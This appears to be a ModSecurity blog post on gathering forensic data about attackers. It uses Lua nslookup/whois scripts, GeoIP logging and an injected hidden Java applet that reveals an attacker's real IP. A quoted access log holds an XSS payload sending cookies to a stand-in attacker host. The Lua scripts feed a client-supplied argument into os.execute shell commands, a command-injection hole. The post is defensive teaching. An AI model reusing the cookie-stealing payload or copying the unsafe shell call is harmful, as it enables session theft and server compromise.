Lua to the rescue!  If you use the following Lua script, you can conditionally execute an nslookup on the client IP address at the end of the transaction (in the logging phase) and log the data to the ModSecurity audit_log file only when the client's anomaly score is above your defined level.  Here is an example line calling up the script:

SecRuleScript gather_ip_data.lua "phase:5,t:none,pass"

Here is the example code:

#!/opt/local/bin/lua
require("io");
function main()     anomaly_score = m.getvar("TX.ANOMALY_SCORE", "none");     remote_addr = m.getvar("ARGS.REMOTE_ADDR", "none");     remote_hostname = "";
if anomaly_score ~= nil then     n = os.tmpname ()         os.execute ("nslookup '" .. remote_addr .. "' > " .. n)
            for line in io.lines (n) do                 if string.match(line, "name = ") then                     return("Remote Hostname is: " .. line .. ".");                   end             end os.remove (n) end  end

This will add a new message to the ModSecurity audit log like this:

Message: Warning. Remote Hostname is: 5.1.17.156.in-addr.arpa name = marcin.wcss.wroc.pl.. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"]

Adding WHOIS Data

In addition to the Nslookup data, you could also easily add in WHOIS data such as the Abuse contact info:

#!/opt/local/bin/lua
require("io");

function main()
    anomaly_score = m.getvar("TX.ANOMALY_SCORE", "none");
	m.log(4, "Anomaly Score is: " .. anomaly_score .. ".");
    remote_addr = m.getvar("ARGS.REMOTE_ADDR", "none");
	m.log(4, "Remote IP is: " .. remote_addr .. ".");

if anomaly_score ~= nil then
	n = os.tmpname ()
	os.execute ("nslookup '" .. remote_addr .. "' > " .. n)
	os.execute ("whois '" .. remote_addr .. "' >> " .. n)
	for line in io.lines (n) do
	  if string.match(line, "name = ") then
		hostname = line
		m.log(4, "Hostname is: " .. hostname .. ".");
		-- m.setvar("tx.hostname",'" .. hostname .. "');
	  end
	  if string.match(line, "abuse") then
                abuse_contact = line
		m.log(4, "Abuse Contact is: " .. abuse_contact .. ".");
                -- m.setvar('tx.abuse_contact', abuse_contact);
          end
	end
	os.remove (n)
return("Nslookup: " .. hostname .. " and WHOIS Abuse Info: " .. abuse_contact .. "");

end
return nil;
end

This would result in the following extra data:

Message: Nslookup: 5.1.17.156.in-addr.arpa	name = marcin.wcss.wroc.pl. 
and WHOIS Abuse Info: remarks:        abuse complaints to: abuse@wask.wroc.pl [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"]

Only Do DNS Lookups Once a Day

In order to keep the performance hit to a minimum, it will be possible (with the soon to be release ModSecurity v2.5.13) to do setvars from within Lua.  This means that we can take our returned, resolved client hostname data and then save it off to an IP persistent collection that will expire after 24hrs.  Here are the updated SecRules:

SecRuleScript gather_ip_data.lua "phase:5,t:none,pass,setvar:ip.hostname=%{tx.hostname},expirevar:ip.hostname=86400,skip:1"
SecRule TX:ANOMALY_SCORE "@gt 5" "phase:5,t:none,pass,log,msg:'Client Hostname Resolution.',logdata:'%{ip.hostname}'"

So the logic is that if it is the first time that we are seeing this client, then the Lua script will handle doing the IP resolution and alerting/saving the hostname in the IP collection.  If it is not the first time, then the Lua script does not do the Nslookup/WHOIS lookups.  This data is instead taken from the saved IP collection data and logged in a new SecRule.  And here is the updated Lua script:

#!/opt/local/bin/lua
require("io");

function main()
    anomaly_score = m.getvar("TX.ANOMALY_SCORE", "none");
    remote_addr = m.getvar("ARGS.REMOTE_ADDR", "none");
    ip_hostname = m.getvar("IP.HOSTNAME", "none");

if ((anomaly_score ~= nil) and (ip_hostname == nil)) then
	n = os.tmpname ()
	os.execute ("nslookup '" .. remote_addr .. "' > " .. n)
	os.execute ("whois '" .. remote_addr .. "' >> " .. n)
	for line in io.lines (n) do
	  if string.match(line, "name = ") then
		hostname = line
		m.log(4, "Hostname is: " .. hostname .. ".");
		m.setvar("tx.hostname", hostname);
	  end
	  if string.match(line, "abuse") then
                abuse_contact = line
		m.log(4, "Abuse Contact is: " .. abuse_contact .. ".");
          end
	end
	os.remove (n)
return("Nslookup: " .. hostname .. " and WHOIS Abuse Info: " .. abuse_contact .. "");

end
return nil;
end

Don't Forget the GeoLocation Data

In last week's blog post, I highlighted how to use ModSecurity's GeoIP data for use in potential fraud detection scoring.  In addition to fraud scoring, you can also use the GEO data in the same type of post-processing IP forensic data gathering.  You can use the same logic where you check the overall anomaly score and if it is above a defined threshold, then you simply log the already gathered GEO data to the audit log file.  Here is an example SecRule:

SecGeoLookupDb /usr/local/apache/conf/modsec_current/base_rules/GeoLiteCity.dat
SecRule ARGS:remote_addr "@geoLookup" "phase:1,t:none,nolog,pass,setvar:ip.geo_country_code=%{geo.country_code}"
SecRule TX:ANOMALY_SCORE "@gt 5" "phase:5,t:none,log,id:'1',severity:'5',msg:'Logging GeoIP Data due to high anomaly score.',logdata:'{country_code=%{geo.country_code}, country_code3=%{geo.country_code3}, country_name=%{geo.country_name}, country_continent=%{geo.country_continent}, city=%{geo.city}'"

The resulting ModSecurity message would contain the GeoIP data:

[Wed Nov 03 14:09:10 2010] [error] [client ::1] ModSecurity: Warning. Operator GT matched 5 at TX:anomaly_score. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "40"] [id "1"] [msg "Logging GeoIP Data due to high anomaly score."] [data "{country_code=PL, country_code3=POL, country_name=Poland, country_continent=EU, city=Wroclaw"] [severity "NOTICE"] [hostname "localhost"] [uri "/cgi-bin/printenv"] [unique_id "TNGlRsCoAWcAAI5SGRMAAABA"]

 

Identifying Real IP Addresses of Web Attackers

One of the biggest challenges of doing incident response during web attacks is to try and trace back the source IP address information to identify the "real" attacker's computer. The reason why this is so challenging is that attackers almost always loop their attacks through numerous open proxy servers or other compromised hosts where they setup connection tunnels. This means that the actual IP address that shows up in the victims logs is most likely only the last hop in between the attacker and the target site. One way to try and tackle this problem is instead of relying on the TCP-IP address information of the connection, we attempt to handle this at the HTTP layer.

Web security researches (such as Jeremiah Grossman) have conducted quite a bit research in area of how blackhats can send malicious javascript/java to clients. Once the code executes, it can obtain the client's real (internal NAT) IP address. With this information, the javascript code can do all sorts of interesting stuff such as port scan the internal network. In our scenario, the client is not an innocent victim but instead a malicious client who is attacking our site. The idea is that this code that we send to the client will execute locally, grab their real IP address and then post the data back to a URL location on our site. With this data, we can then perhaps initiate a brand new incident response engagement focusing in on the actual origin of the attacks!

The following rule uses the same data as the previous example, except this time, instead of simply sending an alert pop-up box we are sending the MyAddress.class java applet. This code will force the attacker's browser to initiate a connection back to our web server.

SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<APPLET CODE=\"MyAddress.class\" MAYSCRIPT WIDTH=0 HEIGHT=0>
<PARAM NAME=\"URL\" VALUE=\"grab_ip.php?IP=\">
<PARAM NAME=\"ACTION\" VALUE=\"AUTO\"></APPLET>'" 
SecRule RESPONSE_CONTENT_TYPE "^text/html"

So, if an attacker sends a malicious request that ModSecurity triggers on, this rule will then fire and it will send the injected code to the client. Our Apache access_logs will show data similar to this:

203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/foo.cgi?param=<script>document.write('<img%20
src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 
203.160.1.47 - - [20/Jan/2008:21:15:03 -0500] "GET /cgi-bin/grab_ip.php?IP=222.141.50.175 HTTP/1.1" 404 207

As you can see, even though the IP address in the access_logs shows 203.160.1.47, the data returned in the QUERY_STRING portion of the second line shows that the real IP address of the attacker is 222.141.50.175. This would mean that in this case, the attacker's system was not on a private network (perhaps just connecting their computer directly to the internet). In this case, you would be able to obtain the actual IP of an attacker who was conducting a manual attack with a browser.

Attacker -> Proxy -> ... -> Proxy -> Target Website.
    ^                         ^
222.141.50.175           203.160.1.47

Caveats

Internal LAN

This example is extremely experimental. As the previous section indicates, if the attacker were behind a router (on a private LAN) then the address range would have probably been in the 192.169.xxx.xxx range.

Attacker -> Firewall/Router -> ... -> Proxy -> Target Website.
    ^                                   ^
192.168.1.100                      203.160.1.47

This type of data would not be as useful for our purposes as it wouldn't help for a traceback.

Non-Browser Clients

Since a majority of web attacks are automated, odds are that the application that is sending the exploit payload is not actually a browser but rather some sort of scripting client. This would mean that the javascript/java code would not actually execute.

Conclusion

Hopefully this blog post has provided some examples that will help you to gather critical IP address data that may assist you with incident response tasks.

 

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